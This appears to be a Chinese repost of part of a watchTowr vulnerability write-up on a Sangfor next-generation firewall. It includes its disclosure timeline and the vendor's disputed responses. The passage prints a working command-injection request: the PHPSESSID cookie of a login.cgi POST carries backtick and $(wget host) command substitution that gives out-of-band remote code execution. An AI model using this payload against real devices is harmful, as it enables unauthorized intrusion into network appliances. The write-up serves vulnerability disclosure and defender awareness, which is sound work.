在4433端口上,攻击面略有不同,因为原生流通过C++ CGI文件进行身份验证,而不是通过PHP进行身份验证。我们曾考虑过花费我们的晚上在Ghidra分析它,但我们想到也许设计了85/TCP端口上的登录PHP脚本的开发人员也开发了CGI模块,也许...也许...uzC免费翻墙网
uzC免费翻墙网
受到这个想法的启发,我们尝试了带着pspy仍在运行的登录流程。使用相同的原理,我们尝试使用错误的用户名登录...哎呀,又执行了一个略有不同格式的shell命令。很明显,Cookie PHPSESSIONID被用在一个echo命令中写入临时文件。uzC免费翻墙网
uzC免费翻墙网
POST /cgi-bin/login.cgi HTTP/1.1uzC免费翻墙网
Host:uzC免费翻墙网
Cookie: PHPSESSID=2e01d2ji93utnsb5abrcm780c2uzC免费翻墙网
Content-Type: Application/X-www-FormuzC免费翻墙网
Connection: closeuzC免费翻墙网
Content-Length: 113uzC免费翻墙网
uzC免费翻墙网
 {"opr":"login", "data":{"user": "watchTowr" , "pwd": "watchTowr" , "vericode": "Y92N" , "privacy_enable": "0"}}uzC免费翻墙网
uzC免费翻墙网
pspy捕获到的信息:uzC免费翻墙网
uzC免费翻墙网
CMD: UID=65534 PID=31595  | sh -c echo loginmain.cpp is_vericode_vaild 1982 get the file : /tmp/sess_2e01d2ji93utnsb5abrcm780c2 context is failed errno : No such file or directory >> /tmp/login.loguzC免费翻墙网
uzC免费翻墙网
由于值是从Cookie中获取的,我们无法注入分号来截断命令(或对它们进行URL编码)。相反,通过利用允许使用反引号的特性,我们可以创建自己的变量并在括号内评估其内容。不幸的是,这里没有美丽的sed输出可以使用,所以你只能满足于一个超出范围的请求🙂uzC免费翻墙网
uzC免费翻墙网
POST /cgi-bin/login.cgi HTTP/1.1uzC免费翻墙网
Host:uzC免费翻墙网
Cookie: PHPSESSID=`$(wget host)`;uzC免费翻墙网
Content-Type: Application/X-www-FormuzC免费翻墙网
Connection: closeuzC免费翻墙网
uzC免费翻墙网
 {"opr":"login", "data":{"user": "watchTowr" , "pwd": "watchTowr" , "vericode": "EINW" , "privacy_enable": "0"}}uzC免费翻墙网
uzC免费翻墙网
糟糕,又是RCE。uzC免费翻墙网
uzC免费翻墙网
只是提醒一下,这是“世界上第一个具有全面保护功能的AI启用和完全集成的NGFW(下一代防火墙)+ WAF(Web应用防火墙),由Neural-X和Engine Zero等创新技术提供支持”。uzC免费翻墙网
uzC免费翻墙网
房子总是赢的uzC免费翻墙网
uzC免费翻墙网
在赌桌上积累了我们的漏洞筹码后,我们联系了Sangfor的技术团队准备兑现。uzC免费翻墙网
uzC免费翻墙网
经过几封激动人心的来回邮件后,我们没有直接与安全团队交流,而是通过技术支持与安全团队交流。uzC免费翻墙网
uzC免费翻墙网
Sangfor的团队声称他们要么已经完全意识到这些问题,并已经分发了补丁,要么无法验证我们的发现,称之为“误报”。也许我们被旁边的玩家欺骗了,最终得到了未公开的N天。uzC免费翻墙网
uzC免费翻墙网
无论如何,这很有趣。我们将让你自己来推断可能发生了什么,或者可能没有发生什么。uzC免费翻墙网
结论uzC免费翻墙网
uzC免费翻墙网
当赏金猎人、研究人员或渗透测试人员研究攻击面以寻找漏洞时,通常默认认为防火墙和VPN等设备已经经过加固,通常是由于内部安全审查流程以及与其他企业的外部流程竞争。uzC免费翻墙网
uzC免费翻墙网
编辑注:还有一个事实是,我猜他们都在这些设备上说“安全”和“安全”。uzC免费翻墙网
uzC免费翻墙网
不用说,像上面演示的这样的低级漏洞在2023年应该是不存在的,我们希望在这一年里,发现真正有影响力的漏洞所需的投入已经大幅增加。我们希望这篇文章能改变这种心态-即使是一个入门级的攻击性安全实验室课程对于像这样一个被广泛使用的“下一代”产品来说也是非常相关的。uzC免费翻墙网
uzC免费翻墙网
到目前为止,常规读者应该已经很清楚,我们在watchTowr这里喜欢挑战这样的“加固”设备。确实,有了这样的漏洞,很难不感兴趣-我们鼓励所有对漏洞猎捕感兴趣的人拿起他们最近的“下一代”或“企业级”防火墙或VPN终端,开始将其拆解。uzC免费翻墙网
uzC免费翻墙网
对于网络防御者来说,真正的教训是我们不能假设这些加固设备真的是加固的。无论销售人员告诉你什么,没有什么能比得上网络分割和最小权限原则。uzC免费翻墙网
uzC免费翻墙网
如果您想了解更多关于watchTowr平台、我们的攻击面管理和持续自动红队解决方案,请与我们联系。
uzC免费翻墙网

时间表uzC免费翻墙网
日期                        细节
 

 uzC免费翻墙网

2023年9月13日    发现漏洞uzC免费翻墙网
2023年9月14日    请求Sangfor的安全联系人uzC免费翻墙网
2023年9月18日    收到安全联系人,向Sangfor披露uzC免费翻墙网
2023年9月18日    watchTowr在客户的攻击面中寻找受影响的系统,并与受影响的系统进行沟通。uzC免费翻墙网
2023年9月26日    Sangfor对每个项目做出回应:uzC免费翻墙网
- 身份验证绕过- Sangfor认为是误报uzC免费翻墙网
- 本地文件读取-(内部已知问题-发布了补丁(在哪里?))uzC免费翻墙网
- 命令注入-(内部已知问题-发布了补丁(在哪里?))uzC免费翻墙网
- 源代码泄露- Sangfor认为是误报uzC免费翻墙网
- SSO用户添加/SQLite注入- Sangfor认为是误报uzC免费翻墙网
2023年10月5日    向公众发布博文和PoCuzC免费翻墙网
上一篇uzC免费翻墙网
90年代软件(Exim)中的90年代漏洞-天空会塌下来吗?
via https://labs.watchtowr.com/yet-more-unauth-remote-command-execution-vulns-in-firewalls-sangfor-edition/
来顶一下
返回首页
返回首页
欢迎评论:免登录,输入验证码即可匿名评论 共有条评论
用户名: 密码:
验证码: 匿名发表

推荐资讯

Octohide VPN:快如闪电的免费VPN
Octohide VPN:快如闪
原子网络加速器 - 免费高速VPN 一键链接 方便快捷
原子网络加速器 - 免费
foxovpn绿狐VPN——即连即用、快速、安全
foxovpn绿狐VPN——即
Dubai VPN - Free, Fast & Secure VPN下载
Dubai VPN - Free, Fa
相关文章
栏目更新
栏目热门
墙外新闻
读者文摘

你可以访问真正的互联网了。You can access the real Internet.

管理员精中特别提醒:本网站域名、主机和管理员都在美国,且本站内容仅为非中国大陆网友服务。禁止中国大陆网友浏览本站!若中国大陆网友因错误操作打开本站网页,请立即关闭!中国大陆网友浏览本站存在法律风险,恳请立即关闭本站所有页面!对于您因浏览本站所遭遇的法律问题、安全问题和其他所有问题,本站均无法负责也概不负责。

特别警告:本站推荐各种免费科学上网软件、app和方法,不建议各位网友购买收费账号或服务。若您因付费购买而遭遇骗局,没有得到想要的服务,请把苦水往自己肚子里咽,本站无法承担也概不承担任何责任!

本站严正声明:各位翻墙的网友切勿将本站介绍的翻墙方法运用于违反当地法律法规的活动,本站对网友的遵纪守法行为表示支持,对网友的违法犯罪行为表示反对!

网站管理员定居美国,因此本站所推荐的翻墙软件及翻墙方法都未经测试,发布仅供网友测试和参考,但你懂的——翻墙软件或方法随时有可能失效,因此本站信息具有极强时效性,想要更多有效免费翻墙方法敬请阅读本站最新信息,建议收藏本站!本站为纯粹技术网站,支持科学与民主,支持宗教信仰自由,反对恐怖主义、邪教、伪科学与专制,不支持或反对任何极端主义的政治观点或宗教信仰。有注明出处的信息均为转载文章,转载信息仅供参考,并不表明本站支持其观点或行为。未注明出处的信息为本站原创,转载时也请注明来自本站。

鉴于各种免费翻墙软件甚至是收费翻墙软件可能存在的安全风险及个人隐私泄漏可能,本站提醒各位网友做好各方面的安全防护措施!本站无法对推荐的翻墙软件、应用或服务等进行全面而严格的安全测试,因此无法对其安全性做保证,无法对您因为安全问题或隐私泄漏等问题造成的任何损失承担任何责任!

S. Grand Ave.,Suite 3910,Los Angeles,CA 90071

知识共享许可协议
本作品采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可。